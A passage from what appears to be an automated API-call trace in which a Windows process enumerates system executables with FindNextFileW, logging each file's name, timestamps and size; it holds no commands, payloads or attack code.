ftLastAccessTime.dwLowDateTime=0x41f8f016, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xd9897070, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x13600, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="alg.exe", cAlternateFileName="")) returned 1 [0253.479] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22f4ae5, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x22f4ae5, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xd99a1240, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="appidcertstorecheck.exe", cAlternateFileName="")) returned 1 [0253.479] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9cf143, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xb9cf143, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xd9a5f920, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x23e00, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="appidpolicyconverter.exe", cAlternateFileName="")) returned 1 [0253.479] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84a17d73, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x84a17d73, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xd9ad2510, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="ARP.EXE", cAlternateFileName="")) returned 1 [0253.479] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1fa1c868, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x1fa1c868, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xd9b45100, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="at.exe", cAlternateFileName="")) returned 1 [0253.479] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc10ef45b, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc10ef45b, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xd9b90bf0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x8a00, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="AtBroker.exe", cAlternateFileName="")) returned 1 [0253.479] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3171424a, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3171424a, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xd9b90bf0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="attrib.exe", cAlternateFileName="")) returned 1 [0253.479] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d6dcfc6, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d6dcfc6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d703126, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1ee00, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="audiodg.exe", cAlternateFileName="")) returned 1 [0253.479] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9850cda, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xb9850cda, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xd9c9adc0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xfa00, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="auditpol.exe", cAlternateFileName="")) returned 1 [0253.479] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a59e84b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9a59e84b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9a5eab0c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xbde00, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="autochk.exe", cAlternateFileName="")) returned 1 [0253.479] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e31ba3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x97e31ba3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x97e7de63, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xc1a00, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="autoconv.exe", cAlternateFileName="")) returned 1 [0253.480] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a14e063, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9a14e063, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9a1741c4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xba800, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="autofmt.exe", cAlternateFileName="")) returned 1 [0253.480] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa917cb2, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xaa917cb2, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xda2b55c0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xe600, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="AxInstUI.exe", cAlternateFileName="")) returned 1 [0253.480] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad77102, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ad77102, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ad77102, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2ae00, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="bcdboot.exe", cAlternateFileName="")) returned 1 [0253.480] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9716654b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9716654b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x973a19ef, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x54800, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="bcdedit.exe", cAlternateFileName="")) returned 1 [0253.480] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc17bc305, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xc17bc305, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xda694920, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xbe00, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="BdeUISrv.exe", cAlternateFileName="")) returned 1 [0253.480] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc086969a, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xc086969a, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xda72bf00, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="BdeUnlockWizard.exe", cAlternateFileName="")) returned 1 [0253.480] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x868bb544, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x868bb544, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x868e16a4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x38c00, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="bitsadmin.exe", cAlternateFileName="")) returned 1 [0253.480] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a941698, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x6a941698, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xdaba2840, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x17200, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="bootcfg.exe", cAlternateFileName="")) returned 1 [0253.480] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39e6d0c2, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x39e6d0c2, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xdacd3b10, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5200, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="bridgeunattend.exe", cAlternateFileName="")) returned 1 [0253.480] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa71185d, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xfa71185d, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xdad1f600, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="bthudtask.exe", cAlternateFileName="")) returned 1 [0253.480] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3171424a, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3171424a, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xdad1f600, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x7a00, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="cacls.exe", cAlternateFileName="")) returned 1 [0253.480] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3786a5f, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xa3786a5f, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xdafa6590, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xe0400, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="calc.exe", cAlternateFileName="")) returned 1 [0253.480] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa00af576, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xa00af576, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xdb312d00, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x11200, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="CertEnrollCtrl.exe", cAlternateFileName="")) returned 1 [0253.480] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d779bd5, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x9d779bd5, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xdb4689c0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4fa00, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="certreq.exe", cAlternateFileName="")) returned 1 [0253.480] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaba59ad6, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xaba59ad6, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xdb99d9e0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x11f000, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="certutil.exe", cAlternateFileName="")) returned 1 [0253.480] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2b5dd62, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2b5dd62, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa2b83ec2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4200, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="change.exe", cAlternateFileName="")) returned 1 [0253.480] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x965e8982, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x965e8982, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xdba376d0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x28800, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="charmap.exe", cAlternateFileName="")) returned 1 [0253.480] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2b83ec2, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2b83ec2, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa2b83ec2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5800, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="chglogon.exe", cAlternateFileName="")) returned 1 [0253.480] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2b83ec2, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2b83ec2, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa2b83ec2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="chgport.exe", cAlternateFileName="")) returned 1 [0253.480] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2b37c01, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2b37c01, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa2b5dd62, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="chgusr.exe", cAlternateFileName="")) returned 1 [0253.480] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3171424a, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3171424a, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xdc10dea0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="chkdsk.exe", cAlternateFileName="")) returned 1 [0253.480] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3171424a, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3171424a, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xdc134fa0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="chkntfs.exe", cAlternateFileName="")) returned 1 [0253.480] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93205b17, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93205b17, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9322bc77, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="choice.exe", cAlternateFileName="")) returned 1 [0253.480] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x318b7149, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x318b7149, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xdc23f170, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="cipher.exe", cAlternateFileName="")) returned 1 [0253.480] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cbbfaf1, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x7cbbfaf1, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xdc2fd850, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x34c00, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="cleanmgr.exe", cAlternateFileName="")) returned 1 [0253.480] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7e5790, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xb7e5790, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xdc324950, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xc000, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="cliconfg.exe", cAlternateFileName="")) returned 1 [0253.480] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x391d06ff, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x391d06ff, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xdc349340, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x7e00, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="clip.exe", cAlternateFileName="")) returned 1 [0253.480] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8734b6f7, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8734b6f7, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87371858, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x54400, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="cmd.exe", cAlternateFileName="")) returned 1 [0253.480] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1030d73, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xb1030d73, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xdd3a6a80, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="cmdkey.exe", cAlternateFileName="")) returned 1 [0253.480] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec55860, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x6ec55860, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xdd3cdb80, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="cmdl32.exe", cAlternateFileName="")) returned 1 [0253.480] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d4445bb, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x7d4445bb, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xdd3f2570, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="cmmon32.exe", cAlternateFileName="")) returned 1 [0253.480] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8efab55c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8efab55c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8efab55c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x16800, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="cmstp.exe", cAlternateFileName="")) returned 1 [0253.481] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ba021e4, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x1ba021e4, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xdd419670, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5800, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="cofire.exe", cAlternateFileName="")) returned 1 [0253.481] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19fdc04, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x19fdc04, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xdd465160, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x15200, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="colorcpl.exe", cAlternateFileName="")) returned 1 [0253.481] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x316ee0ed, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x316ee0ed, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xdd48c260, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="comp.exe", cAlternateFileName="")) returned 1 [0253.481] FindNextFileW (in: hFindFile=0x548f80, lpFindFileData=0x118f9a8 | out: lpFindFileData=0x118f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3171424a, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3171424a, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xdd4b0c50, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4e00, dwReserved0=0xa80000, dwReserved1=0x952fe0, cFileName="compact.exe", cAlternateFileName="")) returned 1 [0253.481] FindNextFileW (in: hFindFile=0x548f80, 